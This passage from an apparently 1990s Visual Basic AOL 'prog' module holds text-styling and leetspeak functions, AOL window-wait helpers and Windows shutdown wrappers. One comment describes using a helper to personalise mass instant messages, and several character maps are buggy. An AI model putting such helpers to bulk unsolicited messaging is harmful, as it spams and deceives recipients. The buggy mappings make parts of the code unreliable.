  8149. End Function
  8150. Function Talker_Slash(strin As String) As String
  8151. '  How to use:
  8152. '  ReV = talker_slash(text1.text)
  8153. '  ErrorR(ReV)
  8154.  
  8155.     Dim NextChr As String, inptxt As String, lenth As Integer
  8156.     Dim NumSpc As Integer, NewSent As String, Slah As String
  8157.     
  8158.     Let inptxt$ = strin
  8159.     Let lenth% = Len(inptxt$)
  8160.     Do While NumSpc% <= lenth%
  8161.         Let NumSpc% = NumSpc% + 1
  8162.         Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  8163.         Let NextChr$ = NextChr$ + "/"
  8164.         Let NewSent$ = NewSent$ + NextChr$
  8165.     Loop
  8166.     Slah$ = NewSent$
  8167.     Talker_Slash = Slah$
  8168. End Function
  8169. Function Talker_r33t(strin As String) As String
  8170. '  From ErrorR.Bas edited by |2eV
  8171. '  How to use:
  8172. '  ReV = talker_r33t(text1.text)
  8173. '  errorrsend(ReV)
  8174.  
  8175.     Dim NextChr As String, inptxt As String, lenth As Integer
  8176.     Dim NextChrr As String, NewSent As String, NumSpc As Integer, Crapp As Integer
  8177.     
  8178.     Let inptxt$ = strin
  8179.     Let lenth% = Len(inptxt$)
  8180.     
  8181.     Do While NumSpc% <= lenth%
  8182.     DoEvents
  8183.     Let NumSpc% = NumSpc% + 1
  8184.     Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  8185.     Let NextChrr$ = Mid$(inptxt$, NumSpc%, 2)
  8186.     If NextChrr$ = "ae" Then Let NextChrr$ = "43": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  8187.     If NextChrr$ = "AE" Then Let NextChrr$ = "43": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  8188.     If NextChrr$ = "oe" Then Let NextChrr$ = "03": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  8189.     If NextChrr$ = "OE" Then Let NextChrr$ = "03": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  8190.     If Crapp% > 0 Then GoTo send
  8191.     
  8192.     If NextChr$ = "A" Then Let NextChr$ = "4"
  8193.     If NextChr$ = "a" Then Let NextChr$ = "4"
  8194.     If NextChr$ = "B" Then Let NextChr$ = "b"
  8195.     If NextChr$ = "C" Then Let NextChr$ = "c"
  8196.     If NextChr$ = "c" Then Let NextChr$ = "c"
  8197.     If NextChr$ = "D" Then Let NextChr$ = "d"
  8198.     If NextChr$ = "d" Then Let NextChr$ = "d"
  8199.     If NextChr$ = "E" Then Let NextChr$ = "3"
  8200.     If NextChr$ = "e" Then Let NextChr$ = "3"
  8201.     If NextChr$ = "f" Then Let NextChr$ = "f"
  8202.     If NextChr$ = "F" Then Let NextChr$ = "f"
  8203.     If NextChr$ = "G" Then Let NextChr$ = "g"
  8204.     If NextChr$ = "f" Then Let NextChr$ = "g"
  8205.     If NextChr$ = "H" Then Let NextChr$ = "h"
  8206.     If NextChr$ = "I" Then Let NextChr$ = "1"
  8207.     If NextChr$ = "i" Then Let NextChr$ = "1"
  8208.     If NextChr$ = "k" Then Let NextChr$ = "k"
  8209.     If NextChr$ = "K" Then Let NextChr$ = "k"
  8210.     If NextChr$ = "L" Then Let NextChr$ = "l"
  8211.     If NextChr$ = "M" Then Let NextChr$ = "m"
  8212.     If NextChr$ = "m" Then Let NextChr$ = "m"
  8213.     If NextChr$ = "N" Then Let NextChr$ = "n"
  8214.     If NextChr$ = "n" Then Let NextChr$ = "n"
  8215.     If NextChr$ = "O" Then Let NextChr$ = "0"
  8216.     If NextChr$ = "o" Then Let NextChr$ = "0"
  8217.     If NextChr$ = "P" Then Let NextChr$ = "p"
  8218.     If NextChr$ = "p" Then Let NextChr$ = "p"
  8219.     If NextChr$ = "Q" Then Let NextChr$ = "q"
  8220.     If NextChr$ = "R" Then Let NextChr$ = "r"
  8221.     If NextChr$ = "S" Then Let NextChr$ = "5"
  8222.     If NextChr$ = "s" Then Let NextChr$ = "5"
  8223.     If NextChr$ = "t" Then Let NextChr$ = "7"
  8224.     If NextChr$ = "T" Then Let NextChr$ = "7"
  8225.     If NextChr$ = "U" Then Let NextChr$ = "u"
  8226.     If NextChr$ = "u" Then Let NextChr$ = "u"
  8227.     If NextChr$ = "V" Then Let NextChr$ = "v"
  8228.     If NextChr$ = "W" Then Let NextChr$ = "w"
  8229.     If NextChr$ = "X" Then Let NextChr$ = "x"
  8230.     If NextChr$ = "X" Then Let NextChr$ = "x"
  8231.     If NextChr$ = "Y" Then Let NextChr$ = "y"
  8232.     Let NewSent$ = NewSent$ + NextChr$
  8233.  
  8234. send:
  8235. If Crapp% > 0 Then Let Crapp% = Crapp% - 1
  8236. DoEvents
  8237. Loop
  8238. Talker_r33t = NewSent$
  8239. End Function
  8240.  
  8241. Function Talker_Lcase(Strn As String) As String
  8242.     Dim chang As String
  8243.  
  8244.     chang$ = LCase(Strn)
  8245.     Talker_Lcase = chang$
  8246. End Function
  8247. Function Talker_PuP(strin As String) As String
  8248. 'From ErrorR.Bas
  8249. '  How to use:
  8250. '  ReV = talker_pup(text1.text)
  8251. '  errorrsend(ReV)
  8252.  
  8253.     Dim NextChr As String, inptxt As String, lenth As Integer
  8254.     Dim NextChrr As String, NewSent As String, NumSpc As Integer, Crapp As Integer
  8255.     
  8256.     Let inptxt$ = strin
  8257.     Let lenth% = Len(inptxt$)
  8258.     
  8259.     Do While NumSpc% <= lenth%
  8260.     DoEvents
  8261.     Let NumSpc% = NumSpc% + 1
  8262.     Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  8263.     Let NextChrr$ = Mid$(inptxt$, NumSpc%, 2)
  8264.     If NextChrr$ = "ae" Then Let NextChrr$ = "/-\E": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  8265.     If NextChrr$ = "AE" Then Let NextChrr$ = "/-\E": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  8266.     If NextChrr$ = "oe" Then Let NextChrr$ = "()e": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  8267.     If NextChrr$ = "OE" Then Let NextChrr$ = "()E": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  8268.     If Crapp% > 0 Then GoTo send
  8269.     
  8270.     If NextChr$ = "A" Then Let NextChr$ = "/-\"
  8271.     If NextChr$ = "a" Then Let NextChr$ = "/-\"
  8272.     If NextChr$ = "B" Then Let NextChr$ = "(3"
  8273.     If NextChr$ = "C" Then Let NextChr$ = "C"
  8274.     If NextChr$ = "c" Then Let NextChr$ = "c"
  8275.     If NextChr$ = "D" Then Let NextChr$ = "|)"
  8276.     If NextChr$ = "d" Then Let NextChr$ = "d"
  8277.     If NextChr$ = "E" Then Let NextChr$ = "E"
  8278.     If NextChr$ = "e" Then Let NextChr$ = "d"
  8279.     If NextChr$ = "f" Then Let NextChr$ = "f"
  8280.     If NextChr$ = "H" Then Let NextChr$ = "|-|"
  8281.     If NextChr$ = "I" Then Let NextChr$ = "I"
  8282.     If NextChr$ = "i" Then Let NextChr$ = "i"
  8283.     If NextChr$ = "k" Then Let NextChr$ = "|ï"
  8284.     If NextChr$ = "K" Then Let NextChr$ = "(½"
  8285.     If NextChr$ = "L" Then Let NextChr$ = "(_"
  8286.     If NextChr$ = "M" Then Let NextChr$ = "(\/)"
  8287.     If NextChr$ = "m" Then Let NextChr$ = "ïv¢"
  8288.     If NextChr$ = "N" Then Let NextChr$ = "(\)"
  8289.     If NextChr$ = "n" Then Let NextChr$ = "/\/"
  8290.     If NextChr$ = "O" Then Let NextChr$ = "()"
  8291.     If NextChr$ = "o" Then Let NextChr$ = "()"
  8292.     If NextChr$ = "P" Then Let NextChr$ = "P"
  8293.     If NextChr$ = "p" Then Let NextChr$ = "p"
  8294.     If NextChr$ = "r" Then Let NextChr$ = "r"
  8295.     If NextChr$ = "S" Then Let NextChr$ = "S"
  8296.     If NextChr$ = "s" Then Let NextChr$ = "s"
  8297.     If NextChr$ = "t" Then Let NextChr$ = "t"
  8298.     If NextChr$ = "U" Then Let NextChr$ = "U"
  8299.     If NextChr$ = "u" Then Let NextChr$ = "u"
  8300.     If NextChr$ = "V" Then Let NextChr$ = "\/"
  8301.     If NextChr$ = "W" Then Let NextChr$ = "\X/"
  8302.     If NextChr$ = "w" Then Let NextChr$ = "\/\/"
  8303.     If NextChr$ = "X" Then Let NextChr$ = "><"
  8304.     If NextChr$ = "x" Then Let NextChr$ = "x"
  8305.     If NextChr$ = "Y" Then Let NextChr$ = "Y"
  8306.     If NextChr$ = "y" Then Let NextChr$ = "y"
  8307.     Let NewSent$ = NewSent$ + NextChr$
  8308. send:
  8309. If Crapp% > 0 Then Let Crapp% = Crapp% - 1
  8310. DoEvents
  8311. Loop
  8312. Talker_PuP = NewSent$
  8313. End Function
  8314.  
  8315.  
  8316.  
  8317. Function Text_Reverse(Wat As String)
  8318. For X = Len(Wat) To 1 Step -1
  8319. i = Mid(Wat, X, 1)
  8320. ReV$ = ReV$ & i
  8321. Next X
  8322. ErrorRsenD (ReV$)
  8323. End Function
  8324.  
  8325. Function Text_StrikeCrazy(strin As String)
  8326. For X = 1 To Len(strin) Step 2
  8327. i$ = Mid(strin, X, 1)
  8328. i2$ = Mid(strin, X + 1, 1)
  8329. Final$ = Final$ & "<S>" & i$ & "</S>" & i2$
  8330. Next X
  8331. ErrorRsenD (Final$)
  8332. End Function
  8333.  
  8334. Function Text_Uppercase(Wat As String)
  8335. X = UCase(Wat)
  8336. Text_Uppercase = X
  8337. End Function
  8338. Function Text_Lowercase(Wat As String)
  8339. X = LCase(Wat)
  8340. Text_Lowercase = X
  8341. End Function
  8342.  
  8343. Function Time()
  8344. ' where can = a label textbox etc
  8345. 'wherever you want the time to be
  8346. 'use this in a timer
  8347. X = Format(Now, "h:mm:ss am/pm")
  8348. Time = X
  8349. End Function
  8350.  
  8351. Function TrimNumbers(strin As String)
  8352. 'This can be useful for screen names
  8353. 'i made an aol prog that mass im'ed people
  8354. 'and i made this so that instead of saying
  8355. '"whats up Mike12345" it said "whats up Mike"
  8356. 'cool huh?
  8357. For i = 1 To Len(strin)
  8358. l$ = Mid(strin, i, 1)
  8359. If l$ = "1" Then Let l$ = "": GoTo Done
  8360. If l$ = "2" Then Let l$ = "": GoTo Done
  8361. If l$ = "3" Then Let l$ = "": GoTo Done
  8362. If l$ = "4" Then Let l$ = "": GoTo Done
  8363. If l$ = "5" Then Let l$ = "": GoTo Done
  8364. If l$ = "6" Then Let l$ = "": GoTo Done
  8365. If l$ = "7" Then Let l$ = "": GoTo Done
  8366. If l$ = "8" Then Let l$ = "": GoTo Done
  8367. If l$ = "9" Then Let l$ = "": GoTo Done
  8368. If l$ = "0" Then Let l$ = "": GoTo Done
  8369.  
  8370. Done:
  8371. Trimmed$ = Trimmed$ & l$
  8372. Next i
  8373. TrimNumbers = Trimmed$
  8374. End Function
  8375.  
  8376. Function Type_Elite(Wat As String)
  8377. For X = 1 To Len(Wat)
  8378. Char$ = Mid(Wat, X, 1)
  8379.  
  8380. If Char$ = "A" Then Let Char$ = "─"
  8381. If Char$ = "a" Then Let Char$ = "σ"
  8382. If Char$ = "B" Then Let Char$ = "▀"
  8383. If Char$ = "C" Then Let Char$ = "╟"
  8384. If Char$ = "c" Then Let Char$ = "ó"
  8385. If Char$ = "D" Then Let Char$ = "╨"
  8386. If Char$ = "d" Then Let Char$ = "≡"
  8387. If Char$ = "E" Then Let Char$ = "╩"
  8388. If Char$ = "e" Then Let Char$ = "Φ"
  8389. If Char$ = "f" Then Let Char$ = "â"
  8390. If Char$ = "H" Then Let Char$ = "|-|"
  8391. If Char$ = "I" Then Let Char$ = "ç"
  8392. If Char$ = "i" Then Let Char$ = "ε"
  8393. If Char$ = "k" Then Let Char$ = "|ï"
  8394. If Char$ = "L" Then Let Char$ = "ú"
  8395. If Char$ = "M" Then Let Char$ = "/X\"
  8396. If Char$ = "m" Then Let Char$ = "^^"
  8397. If Char$ = "N" Then Let Char$ = "/\/"
  8398. If Char$ = "n" Then Let Char$ = "±"
  8399. If Char$ = "O" Then Let Char$ = "╪"
  8400. If Char$ = "o" Then Let Char$ = "÷"
  8401. If Char$ = "P" Then Let Char$ = "╢"
  8402. If Char$ = "p" Then Let Char$ = "▐"
  8403. If Char$ = "r" Then Let Char$ = "«"
  8404. If Char$ = "S" Then Let Char$ = "º"
  8405. If Char$ = "s" Then Let Char$ = "$"
  8406. If Char$ = "t" Then Let Char$ = "å"
  8407. If Char$ = "U" Then Let Char$ = "┌"
  8408. If Char$ = "u" Then Let Char$ = "╡"
  8409. If Char$ = "V" Then Let Char$ = "\/"
  8410. If Char$ = "W" Then Let Char$ = "VV"
  8411. If Char$ = "w" Then Let Char$ = "vv"
  8412. If Char$ = "X" Then Let Char$ = "X"
  8413. If Char$ = "x" Then Let Char$ = "╫"
  8414. If Char$ = "Y" Then Let Char$ = "Ñ"
  8415. If Char$ = "y" Then Let Char$ = "²"
  8416. If Char$ = "!" Then Let Char$ = "í"
  8417. If Char$ = "?" Then Let Char$ = "┐"
  8418. If Char$ = "." Then Let Char$ = "à"
  8419. If Char$ = "," Then Let Char$ = "é"
  8420. If Char$ = "1" Then Let Char$ = "╣"
  8421. If Char$ = "%" Then Let Char$ = "ë"
  8422. If Char$ = "2" Then Let Char$ = "▓"
  8423. If Char$ = "3" Then Let Char$ = "│"
  8424. If Char$ = "_" Then Let Char$ = "»"
  8425. If Char$ = "-" Then Let Char$ = "ù"
  8426. If Char$ = " " Then Let Char$ = "á"
  8427. If Char$ = "<" Then Let Char$ = "½"
  8428. If Char$ = ">" Then Let Char$ = "╗"
  8429. If Char$ = "*" Then Let Char$ = "ñ"
  8430. If Char$ = "`" Then Let Char$ = "ô"
  8431. If Char$ = "'" Then Let Char$ = "ö"
  8432. If Char$ = "0" Then Let Char$ = "║"
  8433. Done:
  8434. Leet$ = Leet$ & Char$
  8435. Next X
  8436.  
  8437. Type_Elite = Leet$
  8438.  
  8439. End Function
  8440.  
  8441. Function Type_Elite2(Wat As String)
  8442.     For X = 1 To Len(Wat)
  8443.         i = Mid(Wat, X, 1)
  8444. If i = "e" Then Let i = "3": GoTo Done
  8445. If i = "E" Then Let i = "3": GoTo Done
  8446. If i = "t" Then Let i = "7": GoTo Done
  8447. If i = "T" Then Let i = "7": GoTo Done
  8448. If i = "l" Then Let i = "1": GoTo Done
  8449. If i = "o" Then Let i = "0": GoTo Done
  8450. If i = "O" Then Let i = "0": GoTo Done
  8451. If i = "A" Then Let i = "4": GoTo Done
  8452. If i = "B" Then Let i = "8": GoTo Done
  8453. If i = "L" Then Let i = "1": GoTo Done
  8454.  
  8455.  
  8456.  
  8457. Done:
  8458. Finish$ = Finish$ & i
  8459.     Next X
  8460.         Type_Elite2 = Finish$
  8461.  
  8462.  
  8463. End Function
  8464. Function Type_Hacker(Wat As String)
  8465. For X = 1 To Len(Wat)
  8466. i = Mid(Wat, X, 1)
  8467. Rand = Int(Rnd * 2)
  8468. If Rand = 1 Then
  8469. Let i = UCase(i)
  8470.     Else
  8471.         Let i = LCase(i)
  8472.     End If
  8473. strin$ = strin$ & i
  8474. Next X
  8475. Type_Hacker = strin$
  8476.  
  8477. End Function
  8478.  
  8479. Function Text_Wavy(Wat As String)
  8480.     For X = 1 To Len(Wat) Step 4
  8481.  i$ = Mid(Wat, X, 1)
  8482.  i2$ = Mid(Wat, X + 1, 1)
  8483.  i3$ = Mid(Wat, X + 2, 1)
  8484.  i4$ = Mid(Wat, X + 3, 1)
  8485.  strin$ = strin$ & "<sup>" & i$ & "</sup>" & i2$ & "<sub>" & i3$ & "</sub>" & i4$
  8486.  
  8487.     Next X
  8488.         Text_Wavy = strin$
  8489. End Function
  8490. Function Text_BoldWavy(Wat As String)
  8491. For X = 1 To Len(Wat) Step 4
  8492.  i$ = Mid(Wat, X, 1)
  8493.  i2$ = Mid(Wat, X + 1, 1)
  8494.  i3$ = Mid(Wat, X + 2, 1)
  8495.  i4$ = Mid(Wat, X + 3, 1)
  8496.  strin$ = strin$ & "<b><sup>" & i$ & "</sup>" & i2$ & "<sub>" & i3$ & "</sub>" & i4$ & "</b>"
  8497.  
  8498. Next X
  8499.  ErrorRsenD (strin$)
  8500. End Function
  8501. Function Text_ItalicBoldWavy(Wat As String)
  8502. For X = 1 To Len(Wat) Step 4
  8503.  i$ = Mid(Wat, X, 1)
  8504.  i2$ = Mid(Wat, X + 1, 1)
  8505.  i3$ = Mid(Wat, X + 2, 1)
  8506.  i4$ = Mid(Wat, X + 3, 1)
  8507.  strin$ = strin$ & "<i><b><sup>" & i$ & "</sup>" & i2$ & "<sub>" & i3$ & "</sub>" & i4$ & "</b></i>"
  8508.  
  8509. Next X
  8510. Text_ItalicBoldWavy = strin$
  8511. End Function
  8512. Sub BoldSendChat(BoldChat)
  8513. 'It will come out bold on the chat screen.
  8514. ErrorRsenD ("<b>" & BoldChat & "</b>")
  8515. End Sub
  8516. Function Type_Hacker2(Wat As String)
  8517. For X = 1 To Len(Wat) Step 2
  8518. i$ = Mid(Wat, X, 1)
  8519. i2$ = Mid(Wat, X + 1, 1)
  8520. i$ = UCase(i$): i2$ = LCase(i2$)
  8521. hack$ = hack$ & i$ & i2$
  8522. Next X
  8523. Type_Hacker2 = hack$
  8524.  
  8525. End Function
  8526.  
  8527. Function Type_Hacker3(Wat As String)
  8528. For X = 1 To Len(Wat)
  8529. i$ = Mid(Wat, X, 1)
  8530. If i$ = "a" Then Let i$ = "A": GoTo Done
  8531. If i$ = "B" Then Let i$ = "b": GoTo Done
  8532. If i$ = "C" Then Let i$ = "c": GoTo Done
  8533. If i$ = "d" Then Let i$ = "D": GoTo Done
  8534. If i$ = "E" Then Let i$ = "e": GoTo Done
  8535. If i$ = "f" Then Let i$ = "F": GoTo Done
  8536. If i$ = "G" Then Let i$ = "g": GoTo Done
  8537. If i$ = "h" Then Let i$ = "H": GoTo Done
  8538. If i$ = "I" Then Let i$ = "i": GoTo Done
  8539. If i$ = "j" Then Let i$ = "J": GoTo Done
  8540. If i$ = "K" Then Let i$ = "k": GoTo Done
  8541. If i$ = "l" Then Let i$ = "L": GoTo Done
  8542. If i$ = "M" Then Let i$ = "m": GoTo Done
  8543. If i$ = "n" Then Let i$ = "N": GoTo Done
  8544. If i$ = "O" Then Let i$ = "o": GoTo Done
  8545. If i$ = "p" Then Let i$ = "P": GoTo Done
  8546. If i$ = "Q" Then Let i$ = "q": GoTo Done
  8547. If i$ = "r" Then Let i$ = "R": GoTo Done
  8548. If i$ = "S" Then Let i$ = "s": GoTo Done
  8549. If i$ = "t" Then Let i$ = "T": GoTo Done
  8550. If i$ = "U" Then Let i$ = "u": GoTo Done
  8551. If i$ = "v" Then Let i$ = "V": GoTo Done
  8552. If i$ = "W" Then Let i$ = "w": GoTo Done
  8553. If i$ = "x" Then Let i$ = "X": GoTo Done
  8554. If i$ = "Y" Then Let i$ = "y": GoTo Done
  8555. If i$ = "z" Then Let i$ = "Z": GoTo Done
  8556.  
  8557. Done:
  8558. strin$ = strin$ & i$
  8559. Next X
  8560. Type_Hacker3 = strin$
  8561. End Function
  8562.  
  8563.  
  8564. Function Wait(HLong)
  8565. Current = Timer
  8566. Do While Timer - Current < Val(HLong)
  8567. DoEvents
  8568. Loop
  8569. End Function
  8570. Function Wait2(HLong)
  8571. 'might free up some resource while waiting ;o)
  8572. 'yea i know what ya sayin..hound just wanted
  8573. 'his bas to have 100 functions instead of 99
  8574. 'i wish it has 100 at this point
  8575. Current = Timer
  8576. Do While Timer - Current < Val(HLong)
  8577. DoEvents
  8578. Call FreeProcess
  8579. Loop
  8580. End Function
  8581.  
  8582.  
  8583. Function WaitForModal()
  8584. Do: DoEvents
  8585. Modal% = FindWindow("_AOL_Modal", vbNullString)
  8586. stat% = FindChildByClass(Modal%, "_AOL_Static")
  8587. Edi% = FindChildByClass(Modal%, "_AOL_Edit")
  8588. If Modal% <> 0 And stat% <> 0 And Edi% <> 0 Then Exit Do
  8589. Loop
  8590.  
  8591. End Function
  8592.  
  8593.  
  8594. Function Windows_ReStart()
  8595. shutit = ExitWindows(EWX_REBOOT, 0)
  8596.  
  8597. End Function
  8598.  
  8599. Function Windows95_ShutDown()
  8600. shutit = ExitWindows(EWX_SHUTDOWN, 0)
  8601. End Function
  8602.